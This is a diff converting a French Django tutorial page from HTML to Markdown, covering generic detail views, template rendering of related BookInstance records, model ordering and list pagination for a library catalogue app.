cette expression régulière trouverait une correspondance + dans l'URL <code>book/1234</code>, et enverrait alors une + variable <code>pk='1234'</code> à la vue. + </p> + </td> + </tr> + <tr> + <td><strong>r'^book/(\d+)$'</strong></td> + <td> + <p> + Ceci rechercher la même URL que dans le cas précédent. L'information + capturée serait envoyée à la vue en tant qu'argument non nommé. + </p> + </td> + </tr> + <tr> + <td><strong>r'^book/(?P<stub>[-\w]+)$'</strong></td> + <td> + <p> + Ceci recherche une chaîne qui a <code>book/</code> au commencement de + la ligne (<strong>^book/</strong>), ensuite a au moins 1 caractère + étant <em>soit</em> un '-', <em>soit</em> un caractère de mot + (<strong>[-\w]+</strong>), puis la fin. Ce pattern capture aussi cet + ensemble de caractères et le passe à la vue en tant que paramètre + nommé 'stub'. + </p> + <p> + Ceci est un pattern relativement typique pour un "stub". Les stubs + sont des clés primaires basées sur des mots (plus agréables que des + IDs) pour retrouver des données. Vous pouvez utiliser un stub si vous + voulez que votre URL de livre contienne plus d'informations. Par + exemple <code>/catalog/book/the-secret-garden</code>, plutôt que + <code>/catalog/book/33</code>. + </p> + </td> + </tr> + </tbody> </table> -<p>Vous pouvez capturer plusieurs patterns en une seule fois, et donc encoder beaucoup d'informations différentes dans l'URL.</p> +Vous pouvez capturer plusieurs patterns en une seule fois, et donc encoder beaucoup d'informations différentes dans l'URL. -<div class="note"> -<p><strong>Note :</strong> Comme défi, essayez d'envisager comment vous devriez encoder une URL pour lister tous les livres sortis en telle année, à tel mois et à tel jour, et l'expression régulière qu'il faudrait utiliser pour la rechercher.</p> -</div> +> **Note :** Comme défi, essayez d'envisager comment vous devriez encoder une URL pour lister tous les livres sortis en telle année, à tel mois et à tel jour, et l'expression régulière qu'il faudrait utiliser pour la rechercher. -<h4 id="Passer_des_options_supplémentaires_dans_vos_mappages_dURL">Passer des options supplémentaires dans vos mappages d'URL</h4> +#### Passer des options supplémentaires dans vos mappages d'URL -<p>Une fonctionnalité que nous n'avons pas utilisée ici, mais que vous pourriez trouver valable, c'est que vous pouvez passer à la vue des <a href="https://docs.djangoproject.com/en/2.1/topics/http/urls/#views-extra-options">options supplémentaires</a>. Les options sont déclarées comme un dictionnaire que vous passez comme troisième argument (non nommé) à la fonction <code>path()</code>. Cette approche peut être utile si vous voulez utiliser la même vue pour des ressources multiples, et passer des données pour configurer son comportement dans chaque cas (ci-dessous nous fournissons un template différent dans chaque cas).</p> +Une fonctionnalité que nous n'avons pas utilisée ici, mais que vous pourriez trouver valable, c'est que vous pouvez passer à la vue des [options supplémentaires](https://docs.djangoproject.com/en/2.1/topics/http/urls/#views-extra-options). Les options sont déclarées comme un dictionnaire que vous passez comme troisième argument (non nommé) à la fonction `path()`. Cette approche peut être utile si vous voulez utiliser la même vue pour des ressources multiples, et passer des données pour configurer son comportement dans chaque cas (ci-dessous nous fournissons un template différent dans chaque cas). -<pre class="brush: python">path('url/', views.my_reused_view, <strong>{'my_template_name': 'some_path'}</strong>, name='aurl'), -path('anotherurl/', views.my_reused_view, <strong>{'my_template_name': 'another_path'}</strong>, name='anotherurl'), -</pre> +```python +path('url/', views.my_reused_view, {'my_template_name': 'some_path'}, name='aurl'), +path('anotherurl/', views.my_reused_view, {'my_template_name': 'another_path'}, name='anotherurl'), +``` -<div class="note"> -<p><strong>Note :</strong> Les options supplémentaires aussi bien que les patterns capturés sont passés à la vue comme arguments <em>nommés</em>. Si vous utilisez le<strong> </strong><strong>même nom</strong> pour un pattern capturé et une option supplémentaire, alors seul la value du pattern capturé sera envoyé à la vue (la valeur spécifiée dans l'option supplémentaire sera abandonnée).</p> -</div> +> **Note :** Les options supplémentaires aussi bien que les patterns capturés sont passés à la vue comme arguments _nommés_. Si vous utilisez le** \*\***même nom\*\* pour un pattern capturé et une option supplémentaire, alors seul la value du pattern capturé sera envoyé à la vue (la valeur spécifiée dans l'option supplémentaire sera abandonnée). -<h3 id="Vue_basée_sur_classe_2">Vue (basée sur classe)</h3> +### Vue (basée sur classe) -<p>Ouvrez <strong>catalog/views.py</strong>, et copiez-y le code suivant à la fin du fichier :</p> +Ouvrez **catalog/views.py**, et copiez-y le code suivant à la fin du fichier : -<pre class="brush: python">class BookDetailView(generic.DetailView): - model = Book</pre> +```python +class BookDetailView(generic.DetailView): + model = Book +``` -<p>C'est tout ! La seule chose que vous avez à faire maintenant, c'est créer un template appelé <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>, et la vue va lui passer les informations de la base de donnée concernant l'enregistrement <code>Book</code> spécifique, extrait par le mapper d'URL. À l'intérieur du template, vous pouvez accéder à la liste de livres via la variable de template appelée <code>object</code> OU <code>book</code> (c'est-à-dire, de manière générique, "le_nom_du_modèle").</p> +C'est tout ! La seule chose que vous avez à faire maintenant, c'est créer un template appelé **/locallibrary/catalog/templates/catalog/book_detail.html**, et la vue va lui passer les informations de la base de donnée concernant l'enregistrement `Book` spécifique, extrait par le mapper d'URL. À l'intérieur du template, vous pouvez accéder à la liste de livres via la variable de template appelée `object` OU `book` (c'est-à-dire, de manière générique, "le_nom_du_modèle"). -<p>Si vous en avez besoin, vous pouvez changer le template utilisé et le nom de l'objet-contexte utilisé pour désigner le livre dans le template. Vous pouvez aussi renommer les méthodes pour, par exemple, ajouter des informations supplémentaires au contexte.</p> +Si vous en avez besoin, vous pouvez changer le template utilisé et le nom de l'objet-contexte utilisé pour désigner le livre dans le template. Vous pouvez aussi renommer les méthodes pour, par exemple, ajouter des informations supplémentaires au contexte. -<h4 id="Que_se_passe-t-il_si_lenregistrement_nexiste_pas">Que se passe-t-il si l'enregistrement n'existe pas ?</h4> +#### Que se passe-t-il si l'enregistrement n'existe pas ? -<p>Si l'enregistrement demandé n'existe pas, alors la vue générique basée sur classe "détail" va lever automatiquement pour vous une exception <code>Http404</code> — en production, cela va automatiquement afficher une page appropriée "ressource non trouvée", que vous pouvez personnaliser si besoin.</p> +Si l'enregistrement demandé n'existe pas, alors la vue générique basée sur classe "détail" va lever automatiquement pour vous une exception `Http404` — en production, cela va automatiquement afficher une page appropriée "ressource non trouvée", que vous pouvez personnaliser si besoin. -<p>Juste pour vous donner une idée de la manière dont tout cela fonctionne, le morceau de code ci-dessous montre comment vous implémenteriez cette vue comme une fonction si vous n'utilisiez <strong>pas</strong> la vue générique basée sur classe "détail".</p> +Juste pour vous donner une idée de la manière dont tout cela fonctionne, le morceau de code ci-dessous montre comment vous implémenteriez cette vue comme une fonction si vous n'utilisiez **pas** la vue générique basée sur classe "détail". -<pre class="brush: python">def book_detail_view(request, primary_key): +```python +def book_detail_view(request, primary_key): try: book = Book.objects.get(pk=primary_key) except Book.DoesNotExist: raise Http404('Book does not exist') return render(request, 'catalog/book_detail.html', context={'book': book}) -</pre> +``` -<p>La vue essaie d'abord d'obtenir du modèle l'enregistrement correspondant au livre spécifié. Si cela échoue, la vue devrait lever une exception <code>Http404</code> pour indiquer que le livre est "non trouvé". L'étape finale est ensuite, comme d'habitude, d'appeler <code>render()</code> avec le nom du template et les données concernant le livre dans le paramètre <code>context</code> (comme un dictionnaire).</p> +La vue essaie d'abord d'obtenir du modèle l'enregistrement correspondant au livre spécifié. Si cela échoue, la vue devrait lever une exception `Http404` pour indiquer que le livre est "non trouvé". L'étape finale est ensuite, comme d'habitude, d'appeler `render()` avec le nom du template et les données concernant le livre dans le paramètre `context` (comme un dictionnaire). -<p>Une alternative consiste à utiliser la fonction <code>get_object_or_404()</code> comme un raccourci pour lever une exception <code>Http404</code> si l'enregistrement n'existe pas.</p> +Une alternative consiste à utiliser la fonction `get_object_or_404()` comme un raccourci pour lever une exception `Http404` si l'enregistrement n'existe pas. -<pre class="brush: python">from django.shortcuts import get_object_or_404 +```python +from django.shortcuts import get_object_or_404 def book_detail_view(request, primary_key): book = get_object_or_404(Book, pk=primary_key) - return render(request, 'catalog/book_detail.html', context={'book': book})</pre> + return render(request, 'catalog/book_detail.html', context={'book': book}) +``` -<h3 id="Créerle_template_de_la_Vue_Détail">Créerle template de la Vue Détail</h3> +### Créerle template de la Vue Détail -<p>Créez le fichier HTML <strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>, et copiez-y le code ci-dessous. Comme on l'a dit plus haut, c'est là le nom de template attendu par défaut par la vue générique basée sur classe <em>detail</em> (pour un modèle appelé <code>Book</code> dans une application appelée <code>catalog</code>).</p> +Créez le fichier HTML **/locallibrary/catalog/templates/catalog/book_detail.html**, et copiez-y le code ci-dessous. Comme on l'a dit plus haut, c'est là le nom de template attendu par défaut par la vue générique basée sur classe _detail_ (pour un modèle appelé `Book` dans une application appelée `catalog`). -<pre class="brush: html">{% extends "base_generic.html" %} +```html +{% extends "base_generic.html" %} {% block content %} - <h1>Title: \{{ book.title }}</h1> + <h1>Title: \{{ book.title }}</h1> - <p><strong>Author:</strong> <a href="">\{{ book.author }}</a></p> <!-- author detail link not yet defined --> - <p><strong>Summary:</strong> \{{ book.summary }}</p> - <p><strong>ISBN:</strong> \{{ book.isbn }}</p> - <p><strong>Language:</strong> \{{ book.language }}</p> - <p><strong>Genre:</strong> \{{ book.genre.all|join:", " }}</p> + <p><strong>Author:</strong> <a href="">\{{ book.author }}</a></p> <!-- author detail link not yet defined --> + <p><strong>Summary:</strong> \{{ book.summary }}</p> + <p><strong>ISBN:</strong> \{{ book.isbn }}</p> + <p><strong>Language:</strong> \{{ book.language }}</p> + <p><strong>Genre:</strong> \{{ book.genre.all|join:", " }}</p> - <div style="margin-left:20px;margin-top:20px"> - <h4>Copies</h4> + <div style="margin-left:20px;margin-top:20px"> + <h4>Copies</h4> {% for copy in book.bookinstance_set.all %} - <hr> - <p class="{% if copy.status == 'a' %}text-success{% elif copy.status == 'm' %}text-danger{% else %}text-warning{% endif %}"> + <hr> + <p class="{% if copy.status == 'a' %}text-success{% elif copy.status == 'm' %}text-danger{% else %}text-warning{% endif %}"> \{{ copy.get_status_display }} - </p> + </p> {% if copy.status != 'a' %} - <p><strong>Due to be returned:</strong> \{{ copy.due_back }}</p> + <p><strong>Due to be returned:</strong> \{{ copy.due_back }}</p> {% endif %} - <p><strong>Imprint:</strong> \{{ copy.imprint }}</p> - <p class="text-muted"><strong>Id:</strong> \{{ copy.id }}</p> + <p><strong>Imprint:</strong> \{{ copy.imprint }}</p> + <p class="text-muted"><strong>Id:</strong> \{{ copy.id }}</p> {% endfor %} - </div> -{% endblock %}</pre> - -<ul> -</ul> - -<div class="note"> -<p><strong>Note :</strong> Le lien vers l'auteur dans le template ci-dessus est vide, parce que nous n'avons pas encore crée de page détail pour un auteur. Une fois que cette page sera créée, vous pourrez remplacer l'URL par ceci :</p> - -<pre><a href="<strong>{% url 'author-detail' book.author.pk %}</strong>">\{{ book.author }}</a> -</pre> -</div> - -<p>Bien qu'en un peu plus grand, presque tout ce qu'il y a dans ce template a été décrit précédemment :</p> - -<ul> - <li>Nous étendons notre template de base et récrivons le block "content".</li> - <li>Nous utilisons une procédure conditionnelle pour déterminer s'il faut ou non afficher tel contenu spécifique.</li> - <li>Nous utilisons une boucle <code>for</code> pour boucler sur des listes d'objets.</li> - <li>Nous accédons aux champs du contexte en utilisant la notation à point (parce que nous avons utilisé la vue générique <em>detail</em>, le contexte est nommé <code>book</code> ; nous pourrions aussi utiliser "<code>object</code>").</li> -</ul> - -<p>Une chose intéressante que nous n'avons pas encore vue, c'est la fonction <code>book.bookinstance_set.all()</code>. Cette méthode est "automagiquement" construite par Django pour retourner l'ensemble des enregistrements <code>BookInstance</code> associés à un <code>Book</code> particulier.</p> - -<pre class="brush: python">{% for copy in book.bookinstance_set.all %} - <!-- code to iterate across each copy/instance of a book --> -{% endfor %}</pre> - -<p>Cette méthode est requise parce que vous déclarez un champ <code>ForeignKey</code> (one-to-many) seulement du côté "one" de la relation. Comme vous ne faites rien pour déclarer la relation dans les modèles opposés ("many"), Django n'a pas de champ pour récupérer l'ensemble des enregistrements associés. Pour remédier à ce problème, Django construit une fonction justement nommée "recherche inversée", que vous pouvez utiliser. Le nom de la fonction est construit en mettant en minuscule le nom du modèle où a été déclarée la <code>ForeignKey</code>, suivi de <code>_set</code> (ainsi la fonction créée dans <code>Book</code> est <code>bookinstance_set()</code>).</p> - -<div class="note"> -<p><strong>Note :</strong> Ici nous utilisons <code>all()</code> pour récupérer tous les enregistrements (comportement par défaut). Bien que vous puissiez utiliser la méthode <code>filter()</code> pour obtenir un sous-ensemble d'enregistrements dans le code, vous ne pouvez faire cela directement dans le template, parce que vous ne pouvez pas spécifier d'arguments dans les fonctions.</p> - -<p>Prenez garde également que, si vous ne définissez pas un ordre (dans votre vue basée sur classe ou votre modèle), vous allez voir des erreurs de ce genre en provenance du serveur de développement :</p> - -<pre>[29/May/2017 18:37:53] "GET /catalog/books/?page=1 HTTP/1.1" 200 1637 -/foo/local_library/venv/lib/python3.5/site-packages/django/views/generic/list.py:99: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list: <QuerySet [<Author: Ortiz, David>, <Author: H. McRaven, William>, <Author: Leigh, Melinda>]> - allow_empty_first_page=allow_empty_first_page, **kwargs) -</pre> - -<p>Ceci vient du fait que l'<a href="https://docs.djangoproject.com/en/2.1/topics/pagination/#paginator-objects">objet paginator</a> s'attend à ce qu'un ORDER BY soit exécuté sur votre base de données sous-jacente. Sans cela il ne peut pas être sûr que les enregistrements retournés sont vraiment dans le bon ordre !</p> + </div> +{% endblock %} +``` -<p>Ce tutoriel n'a pas (encore !) traité de la <strong>pagination</strong>, mais comme vous ne pouvez pas utiliser <code>sort_by()</code> et passer un paramètre (pour la même raison que le <code>filter()</code> décrit précédemment), vous avez le choix entre trois options :</p> +> **Note :** Le lien vers l'auteur dans le template ci-dessus est vide, parce que nous n'avons pas encore crée de page détail pour un auteur. Une fois que cette page sera créée, vous pourrez remplacer l'URL par ceci : +> +> <a href="{% url 'author-detail' book.author.pk %}">\{{ book.author }}</a> -<ol> - <li>Ajouter un <code>ordering</code> lors de la déclaration de la <code>class Meta</code> dans votre modèle.</li> - <li>Ajouter un attribut <code>queryset</code> dans votre vue personnalisée basée sur classe, en spécifiant un <code>order_by()</code>.</li> - <li>Ajouter une méthode <code>get_queryset</code> à votre vue personnalisée basée sur classe, et préciser de même un <code>order_by()</code>.</li> -</ol> +Bien qu'en un peu plus grand, presque tout ce qu'il y a dans ce template a été décrit précédemment : -<p>Si vous décidez d'ajouter une <code>class Meta</code> au modèle <code>Author</code> (solution peut-être pas aussi flexible que personnalier la vue basée sur classe, mais assez facile), vous allez vous retrouver avec quelque chose de ce genre :</p> +- Nous étendons notre template de base et récrivons le block "content". +- Nous utilisons une procédure conditionnelle pour déterminer s'il faut ou non afficher tel contenu spécifique. +- Nous utilisons une boucle `for` pour boucler sur des listes d'objets. +- Nous accédons aux champs du contexte en utilisant la notation à point (parce que nous avons utilisé la vue générique _detail_, le contexte est nommé `book` ; nous pourrions aussi utiliser "`object`"). -<pre>class Author(models.Model): - first_name = models.CharField(max_length=100) - last_name = models.CharField(max_length=100) - date_of_birth = models.DateField(null=True, blank=True) - date_of_death = models.DateField('Died', null=True, blank=True) +Une chose intéressante que nous n'avons pas encore vue, c'est la fonction `book.bookinstance_set.all()`. Cette méthode est "automagiquement" construite par Django pour retourner l'ensemble des enregistrements `BookInstance` associés à un `Book` particulier. - def get_absolute_url(self): - return reverse('author-detail', args=[str(self.id)]) - - def __str__(self): - return f'{self.last_name}, {self.first_name}' - -<strong> class Meta: - ordering = ['last_name']</strong></pre> - -<p>Bien sûr le champ n'est pas forcément <code>last_name</code> : ce pourrait être un autre champ.</p> - -<p>Dernier point, mais non le moindre : vous devriez trier les données par un attribut/colonne qui a réellement un index (unique ou pas) dans votre base de données, afin d'éviter des problèmes de performance. Bien sûr ce n'est pas requis ici (ce serait un peu exagéré avec si peu de livres et d'utilisateurs), mais il vaut mieux avoir cela à l'esprit pour de futurs projets.</p> -</div> - -<h2 id="À_quoi_cela_ressemble-t-il_2">À quoi cela ressemble-t-il ?</h2> - -<p>À ce point, nous devrions avoir créé tout ce qu'il faut pour afficher à la fois la liste des livres et les pages de détail pour chaque livre. Lancez le serveur (<code>python3 manage.py runserver</code>) et ouvrez votre navigateur à l'adresse <a href="http://127.0.0.1:8000/">http://127.0.0.1:8000/</a>.</p> - -<div class="warning"> -<p><strong>Attention :</strong> Ne cliquez pas sur les liens vers le détail des auteurs : vous allez les créer lors du prochain défi !</p> -</div> - -<p>Cliquez sur le lien <strong>Tous les livres</strong> pour afficher la liste des livres.</p> - -<p><img alt="Book List Page" src="book_list_page_no_pagination.png"></p> - -<p>Ensuite cliquez sur un lien dirigeant vers l'un de vos livres. Si tout est réglé correctement, vous allez voir quelque chose de semblable à la capture d'écran suivante :</p> - -<p><img alt="Book Detail Page" src="book_detail_page_no_pagination.png"></p> - -<h2 id="Pagination">Pagination</h2> - -<p>Si vous avez seulement quelques enregistrements, notre page de liste de livres aura une bonne apparence. Mais si vous avez des dizaines ou des centaines d'enregistrements, la page va progressivement devenir plus longue à charger (et aura beaucoup trop de contenu pour naviguer de manière raisonnable). La solution à ce problème est d'ajouter une pagination à vos vues listes, en réduisant le nombre d'éléments affichés sur chaque page.</p> - -<p>Django a d'excellents outils pour la pagination. Mieux encore, ces outils sont intégrés dans les vues listes génériques basées sur classes, aussi n'avez-vous pas grand chose à faire pour les activer !</p> - -<h3 id="Vues">Vues</h3> - -<p>Ouvrez <strong>catalog/views.py</strong>, et ajoutez la ligne <code>paginate_by</code>, en gras ci-dessous.</p> - -<pre class="brush: python">class BookListView(generic.ListView): +```python +{% for copy in book.bookinstance_set.all %} + <!-- code to iterate across each copy/instance of a book --> +{% endfor %} +``` + +Cette méthode est requise parce que vous déclarez un champ `ForeignKey` (one-to-many) seulement du côté "one" de la relation. Comme vous ne faites rien pour déclarer la relation dans les modèles opposés ("many"), Django n'a pas de champ pour récupérer l'ensemble des enregistrements associés. Pour remédier à ce problème, Django construit une fonction justement nommée "recherche inversée", que vous pouvez utiliser. Le nom de la fonction est construit en mettant en minuscule le nom du modèle où a été déclarée la `ForeignKey`, suivi de `_set` (ainsi la fonction créée dans `Book` est `bookinstance_set()`). + +> **Note :** Ici nous utilisons `all()` pour récupérer tous les enregistrements (comportement par défaut). Bien que vous puissiez utiliser la méthode `filter()` pour obtenir un sous-ensemble d'enregistrements dans le code, vous ne pouvez faire cela directement dans le template, parce que vous ne pouvez pas spécifier d'arguments dans les fonctions. +> +> Prenez garde également que, si vous ne définissez pas un ordre (dans votre vue basée sur classe ou votre modèle), vous allez voir des erreurs de ce genre en provenance du serveur de développement : +> +> [29/May/2017 18:37:53] "GET /catalog/books/?page=1 HTTP/1.1" 200 1637 +> /foo/local_library/venv/lib/python3.5/site-packages/django/views/generic/list.py:99: UnorderedObjectListWarning: Pagination may yield inconsistent results with an unordered object_list: <QuerySet [<Author: Ortiz, David>, <Author: H. McRaven, William>, <Author: Leigh, Melinda>]> +> allow_empty_first_page=allow_empty_first_page, **kwargs) +> +> Ceci vient du fait que l'[objet paginator](https://docs.djangoproject.com/en/2.1/topics/pagination/#paginator-objects) s'attend à ce qu'un ORDER BY soit exécuté sur votre base de données sous-jacente. Sans cela il ne peut pas être sûr que les enregistrements retournés sont vraiment dans le bon ordre ! +> +> Ce tutoriel n'a pas (encore !) traité de la **pagination**, mais comme vous ne pouvez pas utiliser `sort_by()` et passer un paramètre (pour la même raison que le `filter()` décrit précédemment), vous avez le choix entre trois options : +> +> 1. Ajouter un `ordering` lors de la déclaration de la `class Meta` dans votre modèle. +> 2. Ajouter un attribut `queryset` dans votre vue personnalisée basée sur classe, en spécifiant un `order_by()`. +> 3. Ajouter une méthode `get_queryset` à votre vue personnalisée basée sur classe, et préciser de même un `order_by()`. +> +> Si vous décidez d'ajouter une `class Meta` au modèle `Author` (solution peut-être pas aussi flexible que personnalier la vue basée sur classe, mais assez facile), vous allez vous retrouver avec quelque chose de ce genre : +> +> class Author(models.Model): +> first_name = models.CharField(max_length=100) +> last_name = models.CharField(max_length=100) +> date_of_birth = models.DateField(null=True, blank=True) +> date_of_death = models.DateField('Died', null=True, blank=True) +> +> def get_absolute_url(self): +> return reverse('author-detail', args=[str(self.id)]) +> +> def __str__(self): +> return f'{self.last_name}, {self.first_name}' +> +> class Meta: +> ordering = ['last_name'] +> +> Bien sûr le champ n'est pas forcément `last_name` : ce pourrait être un autre champ. +> +> Dernier point, mais non le moindre : vous devriez trier les données par un attribut/colonne qui a réellement un index (unique ou pas) dans votre base de données, afin d'éviter des problèmes de performance. Bien sûr ce n'est pas requis ici (ce serait un peu exagéré avec si peu de livres et d'utilisateurs), mais il vaut mieux avoir cela à l'esprit pour de futurs projets. + +## À quoi cela ressemble-t-il ? + +À ce point, nous devrions avoir créé tout ce qu'il faut pour afficher à la fois la liste des livres et les pages de détail pour chaque livre. Lancez le serveur (`python3 manage.py runserver`) et ouvrez votre navigateur à l'adresse <http://127.0.0.1:8000/>. + +> **Attention :** Ne cliquez pas sur les liens vers le détail des auteurs : vous allez les créer lors du prochain défi ! + +Cliquez sur le lien **Tous les livres** pour afficher la liste des livres. + + + +Ensuite cliquez sur un lien dirigeant vers l'un de vos livres. Si tout est réglé correctement, vous allez voir quelque chose de semblable à la capture d'écran suivante : + + + +## Pagination + +Si vous avez seulement quelques enregistrements, notre page de liste de livres aura une bonne apparence. Mais si vous avez des dizaines ou des centaines d'enregistrements, la page va progressivement devenir plus longue à charger (et aura beaucoup trop de contenu pour naviguer de manière raisonnable). La solution à ce problème est d'ajouter une pagination à vos vues listes, en réduisant le nombre d'éléments affichés sur chaque page. + +Django a d'excellents outils pour la pagination. Mieux encore, ces outils sont intégrés dans les vues listes génériques basées sur classes, aussi n'avez-vous pas grand chose à faire pour les activer ! + +### Vues + +Ouvrez **catalog/views.py**, et ajoutez la ligne `paginate_by`, en gras ci-dessous. + +```python +class BookListView(generic.ListView): model = Book - <strong>paginate_by = 10</strong></pre> + paginate_by = 10 +``` -<p>Avec cet ajout, dès que vous aurez plus de 10 enregistrements, la vue démarrera la pagination des données qu'elle envoie au template. Les différentes pages sont obtenues en utilisant le paramètre GET : pour obtenir la page 2, vous utiliseriez l'URL <code>/catalog/books/<strong>?page=2</strong></code>.</p> +Avec cet ajout, dès que vous aurez plus de 10 enregistrements, la vue démarrera la pagination des données qu'elle envoie au template. Les différentes pages sont obtenues en utilisant le paramètre GET : pour obtenir la page 2, vous utiliseriez l'URL `/catalog/books/?page=2`. -<h3 id="Templates">Templates</h3> +### Templates -<p>Maintenant que les données sont paginées, nous avons besoin d'ajouter un outil au template pour parcourir l'ensemble des résultats. Et parce que nous voudrons sûrement faire cela pour toutes les listes vues, nous allons le faire d'une manière qui puisse être ajoutée au template de base.</p> +Maintenant que les données sont paginées, nous avons besoin d'ajouter un outil au template pour parcourir l'ensemble des résultats. Et parce que nous voudrons sûrement faire cela pour toutes les listes vues, nous allons le faire d'une manière qui puisse être ajoutée au template de base. -<p>Ouvrez <strong>/locallibrary/catalog/templates/<em>base_generic.html</em></strong>, et copiez-y, sous notre bloc de contenu, le bloc de pagination suivant (mis en gras ci-dessous). Le code commence par vérifier si une pagination est activée sur la page courante. Si oui, il ajoute les liens "précédent" et "suivant" appropriés (et le numéro de la page courante).</p> +Ouvrez **/locallibrary/catalog/templates/_base_generic.html_**, et copiez-y, sous notre bloc de contenu, le bloc de pagination suivant (mis en gras ci-dessous). Le code commence par vérifier si une pagination est activée sur la page courante. Si oui, il ajoute les liens "précédent" et "suivant" appropriés (et le numéro de la page courante). -<pre class="brush: python">{% block content %}{% endblock %} +```python +{% block content %}{% endblock %} -<strong> {% block pagination %} + {% block pagination %} {% if is_paginated %} - <div class="pagination"> - <span class="page-links"> + <div class="pagination"> + <span class="page-links"> {% if page_obj.has_previous %} - <a href="\{{ request.path }}?page=\{{ page_obj.previous_page_number }}">previous</a> + <a href="\{{ request.path }}?page=\{{ page_obj.previous_page_number }}">previous</a> {% endif %} - <span class="page-current"> + <span class="page-current"> Page \{{ page_obj.number }} of \{{ page_obj.paginator.num_pages }}. - </span> + </span> {% if page_obj.has_next %} - <a href="\{{ request.path }}?page=\{{ page_obj.next_page_number }}">next</a> + <a href="\{{ request.path }}?page=\{{ page_obj.next_page_number }}">next</a> {% endif %} - </span> - </div> + </span> + </div> {% endif %} - {% endblock %} </strong></pre> - -<p>Le <code>page_obj</code> est un objet <a href="https://docs.djangoproject.com/en/2.1/topics/pagination/#paginator-objects">Paginator</a> qui n'existera que si une pagination est utilisée dans la page courante. Cet objet vous permet de récupérer toutes les informations sur la page courante, les pages précédentes, combien il y a de pages au total, etc.</p> - -<p>Nous utilisons <code>\{{ request.path }}</code> pour récupérer l'URL de la page courante, afin de créer les liens de pagination. Cela est utile, car cette variable est indépendante de l'objet que nous sommes en train de paginer.</p> - -<p>C'est tout !</p> + {% endblock %} +``` -<h3 id="À_quoi_cela_ressemble-t-il_3">À quoi cela ressemble-t-il ?</h3> +Le `page_obj` est un objet [Paginator](https://docs.djangoproject.com/en/2.1/topics/pagination/#paginator-objects) qui n'existera que si une pagination est utilisée dans la page courante. Cet objet vous permet de récupérer toutes les informations sur la page courante, les pages précédentes, combien il y a de pages au total, etc. -<p>La capture d'écran ci-dessous montre à quoi ressemble la pagination. Si vous n'avez pas entré plus de 10 titres dans votre base de données, vous pouvez tester plus facilement cette pagination en diminuant le nombre spécifié à la ligne <code>paginate_by</code> dans votre fichier <strong>catalog/views.py</strong>. Pour obtenir le résultat ci-dessous, nous avons changé la ligne en <code>paginate_by = 2</code>.</p> +Nous utilisons `\{{ request.path }}` pour récupérer l'URL de la page courante, afin de créer les liens de pagination. Cela est utile, car cette variable est indépendante de l'objet que nous sommes en train de paginer. -<p>Les liens de pagination sont affichés en bas de la page, avec les liens suivant/précédent affichés selon la page sur laquelle nous nous trouvons.</p> +C'est tout ! -<p><img alt="Book List Page - paginated" src="book_list_paginated.png"></p> +### À quoi cela ressemble-t-il ? -<h2 id="Mettez-vous_vous-même_au_défi_!">Mettez-vous vous-même au défi !</h2> +La capture d'écran ci-dessous montre à quoi ressemble la pagination. Si vous n'avez pas entré plus de 10 titres dans votre base de données, vous pouvez tester plus facilement cette pagination en diminuant le nombre spécifié à la ligne `paginate_by` dans votre fichier **catalog/views.py**. Pour obtenir le résultat ci-dessous, nous avons changé la ligne en `paginate_by = 2`. -<p>Le challenge dans cet article consiste à créer les vues détail et liste nécessaires à l'achèvement du projet. Ces pages devront être accessibles aux URLs suivantes :</p> +Les liens de pagination sont affichés en bas de la page, avec les liens suivant/précédent affichés selon la page sur laquelle nous nous trouvons. -<ul> - <li><code>catalog/authors/</code> — La liste de tous les auteurs.</li> - <li><code>catalog/author/<em><id></em></code><em> </em>— La vue détail pour un auteur précis, avec un champ clé-primaire appelé <em><code><id></code></em>.</li> -</ul> + -<p>Le code requis pour le mappeur d'URL et les vues sera virtuellement identique aux vues liste et détail du modèle <code>Book</code>, créées ci-dessus. Les templates seront différents, mais auront un comportement semblable.</p> +## Mettez-vous vous-même au défi ! -<div class="note"> -<p><strong>Note :</strong></p> +Le challenge dans cet article consiste à créer les vues détail et liste nécessaires à l'achèvement du projet. Ces pages devront être accessibles aux URLs suivantes : -<ul> - <li>Une fois que vous aurez créé le mappeur d'URL pour la page "liste d'auteurs", vous aurez besoin de mettre aussi à jour le lien <strong>All authors</strong> dans le template de base. Suivez la <a href="#Update_the_base_template">même procédure</a> que celle adoptée quand nous avons mis à jour le lien <strong>All books</strong>.</li> - <li>Une fois créé le mappeur d'URL pour la page de détails sur l'auteur, vous devrez aussi mettre à jour le <a href="#Creating_the_Detail_View_template">template de la vue détail d'un livre</a> (<strong>/locallibrary/catalog/templates/catalog/book_detail.html</strong>), de sorte que le lien vers l'auteur pointe vers votre nouvelle page de détails sur l'auteur (au lieu d'être une URL vide). La ligne va avoir comme changement la balise montrée en gras ci-dessous. - <pre class="brush: html"><p><strong>Author:</strong> <a href="<strong>{% url 'author-detail' book.author.pk %}</strong>">\{{ book.author }}</a></p> -</pre> - </li> -</ul> -</div> +- `catalog/authors/` — La liste de tous les auteurs. +- `catalog/author/<id>`\* *— La vue détail pour un auteur précis, avec un champ clé-primaire appelé *`<id>`\*. -<p>Quand vous aurez fini, vos pages vont ressembler aux captures d'écran suivantes.</p> +Le code requis pour le mappeur d'URL et les vues sera virtuellement identique aux vues liste et détail du modèle `Book`, créées ci-dessus. Les templates seront différents, mais auront un comportement semblable. -<p><img alt="Author List Page" src="author_list_page_no_pagination.png"></p> +> **Note :** +> +> - Une fois que vous aurez créé le mappeur d'URL pour la page "liste d'auteurs", vous aurez besoin de mettre aussi à jour le lien **All authors** dans le template de base. Suivez la [même procédure](#Update_the_base_template) que celle adoptée quand nous avons mis à jour le lien **All books**. +> - Une fois créé le mappeur d'URL pour la page de détails sur l'auteur, vous devrez aussi mettre à jour le [template de la vue détail d'un livre](#Creating_the_Detail_View_template) (**/locallibrary/catalog/templates/catalog/book_detail.html**), de sorte que le lien vers l'auteur pointe vers votre nouvelle page de détails sur l'auteur (au lieu d'être une URL vide). La ligne va avoir comme changement la balise montrée en gras ci-dessous. +> +> ```html +> <p><strong>Author:</strong> <a href="{% url 'author-detail' book.author.pk %}">\{{ book.author }}</a></p> +> ``` -<ul> -</ul> +Quand vous aurez fini, vos pages vont ressembler aux captures d'écran suivantes. -<p><img alt="Author Detail Page" src="author_detail_page_no_pagination.png"></p> + -<ul> -</ul> + -<h2 id="Résumé">Résumé</h2> +## Résumé -<p>Félicitations ! Notre application basique pour bibliothèque est maintenant terminée.</p> +Félicitations ! Notre application basique pour bibliothèque est maintenant terminée. -<p>Dans cet article, nous avons appris comment utiliser les vues génériques basées sur classe "liste" et "détail", et nous les avons utilisées pour créer des pages permettant de voir nos livres et nos auteurs. Au passage nous 